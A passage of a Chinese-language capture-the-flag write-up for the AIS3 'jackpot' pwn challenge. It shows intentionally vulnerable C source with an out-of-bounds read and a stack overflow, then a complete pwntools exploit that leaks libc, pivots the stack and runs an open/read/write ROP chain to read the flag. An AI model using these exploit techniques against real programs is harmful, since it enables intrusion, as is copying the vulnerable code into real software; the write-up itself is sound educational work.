}

int main(void)
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	apply_seccomp();
	char name[100];
	unsigned long ticket_pool[0x10];
	int number;
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	puts("Lottery!!");
	printf("Give me your number: ");
	scanf("%d", &number);
	printf("Here is your ticket 0x%lx\n", ticket_pool[number]);
	printf("Sign your name: ");
	read(0, name, 0x100);
	if (ticket_pool[number] == jackpot)
	{
		puts("You get the jackpot!!");
		jackpot();
	}
	else
		puts("You get nothing QQ");
	return 0;
}

首先可以看到該程式有設定 seccomp,基本上限制只能 orw 讀檔案,沒辦法開 shell

接著在主程式中可以看到首先會要求我們輸入一個號碼作為樂透,接著會印出該位置的 index 值,接著會要求我們輸入姓名之後去檢查該 index 值是否等於 jackpot,如果是的話就會執行 jackpot 印出假的 flag,不然就會印出 You get nothing QQ

以下是 Makefile,可以看到他沒有開 PIE 及 Canary

jackpot: jackpot.c
	gcc -no-pie -fno-stack-protector -o $@ $<

我們可以從題目原始碼看出有幾個漏洞,首先他沒有檢查輸入 index 的範圍,代表我們有辦法做 OOB read,此外另一個很明顯的是在 name 的部分有一個 stack overflow 的漏洞,他只有 100 bytes 的空間卻可寫入 0x100 bytes (256 bytes),而另外實際上在 binary 中 name 的位置是在 $rbp-0x70 的位置開始,因此我們可以 overflow 1 個 rbp + 17 個 qword

雖然我們可以透過 oob read 去 leak 出 libc base,但是由於我們不能開 shell,因此我們必須使用 orw 讀檔案,而我初步寫的 orw rop chain 需要遠超於 17 個 qword 的大小,因此我們必須要做 stack pivoting

因此我們首先需要去 leak 出 libc base 以及 name 陣列的位置,而經過觀察 stack 上的資料我們可以找到對應的 offset 並取得相關的 leak,以下是解題腳本相關的部分

conn.sendlineafter(b"number: ", str(0xf0 // 8 + 5).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
writebase = leak - 0x208 + 0x80 + 0x80
print(f"writebase: {hex(writebase)}")

main = 0x401358
conn.sendlineafter(b"name: ", b"A"*0x70+ p64(writebase+0xf0-0x80) + p64(main))

conn.sendlineafter(b"number: ", str(3).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
libcbase = leak - 0x8cec3
print(f"libcbase: {hex(libcbase)}")

為了避免因為在 leak 第二次時的 main 函式有一些 libc 函式會檢查 rbp 的值,因此這邊我是先 leak 出 stack 上的資料,並調整 rbp 成為一個合理的值,之後才能正常的跳回去執行 main 函式的部分,leak 出 libc base

而接著是主要的 exploit 部分,由於我的 orw rop chain 需要共 21 個 qword (每個項目各 7 個),不管是全塞在 name 或是 overflow 的 stack 部分都不夠放,因此我將功能切開來做,在 overflow 的 stack 區塊執行完 open 和 read 之後做一個 leave pivoting 到 name 陣列的位置,而 name 函式繼續執行剩下的 write rop chain,如此一來就能執行完 orw 了,另外我在 read 時拿到的 flag 的內容是放在 bss 區段上面,避免影響到 rop chain 的執行

以下是 exploit 的部分,相關的 gadget 使用 ROPgadget 工具找得

bss = 0x404180
open = libcbase + 0x1142f0
read = libcbase + 0x1145e0
write = libcbase + 0x114680
pop_rdi = libcbase + 0x2a3e5
pop_rsi = libcbase + 0x2be51
pop_rdx = libcbase + 0x796a2
leave = 0x401438

payload = flat([
    b"flag".ljust(0x8, b"\x00"),

    pop_rdi, 1, 
    pop_rsi, bss, 
    pop_rdx, 0x100, 
    write
])

conn.sendlineafter(b"name: ", payload.ljust(0x70, b"\x00") + p64(writebase) + 
    flat([
        pop_rdi, writebase,
        pop_rsi, 0,
        pop_rdx, 0,
        open,
        pop_rdi, 3,
        pop_rsi, bss,
        pop_rdx, 0x100,
        read,
        leave
    ])
)

完整的 exploit 如下,執行完之後就能拿到 flag

from pwn import *
binary = './jackpot_bin'

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

conn = remote("10.105.0.21", 12234)
# conn = process(binary)
# conn = gdb.debug(binary)

conn.sendlineafter(b"number: ", str(0xf0 // 8 + 5).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
writebase = leak - 0x208 + 0x80 + 0x80
print(f"writebase: {hex(writebase)}")

main = 0x401358
conn.sendlineafter(b"name: ", b"A"*0x70+ p64(writebase+0xf0-0x80) + p64(main))

conn.sendlineafter(b"number: ", str(3).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
libcbase = leak - 0x8cec3
print(f"libcbase: {hex(libcbase)}")

# 0x000000000040101a : ret
#   [26] .bss              NOBITS           0000000000404180  00005180
#     1591: 00000000001142f0   296 FUNC    WEAK   DEFAULT   15 open@@GLIBC_2.2.5
#    289: 00000000001145e0   157 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
#    409: 0000000000114680   157 FUNC    WEAK   DEFAULT   15 write@@GLIBC_2.2.5
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x00000000000796a2 : pop rdx ; ret
# 0x00000000000bfc63 : mov qword ptr [rdi], rdx ; ret
# 0x000000000003d1ee : pop rcx ; ret
# 0x0000000000401438 : leave ; ret
bss = 0x404180
open = libcbase + 0x1142f0
read = libcbase + 0x1145e0
write = libcbase + 0x114680
pop_rdi = libcbase + 0x2a3e5
pop_rsi = libcbase + 0x2be51
pop_rdx = libcbase + 0x796a2
leave = 0x401438

payload = flat([
    b"flag".ljust(0x8, b"\x00"),

    pop_rdi, 1, 
    pop_rsi, bss, 
    pop_rdx, 0x100, 
    write
])

conn.sendlineafter(b"name: ", payload.ljust(0x70, b"\x00") + p64(writebase) + 
    flat([
        pop_rdi, writebase,
        pop_rsi, 0,
        pop_rdx, 0,
        open,
        pop_rdi, 3,
        pop_rsi, bss,
        pop_rdx, 0x100,
        read,
        leave
    ])
)
conn.interactive()

flag

AIS3{JU5T_a_eA5y_INT_0VeRfloW_4nD_BUf_ovErfL0W}

話說雖然出題者說 flag 在根目錄下,但我是直接去讀取當前目錄的 flag 檔案,不知道為什麼這樣拿到的 flag 也是正確的就是了 🤔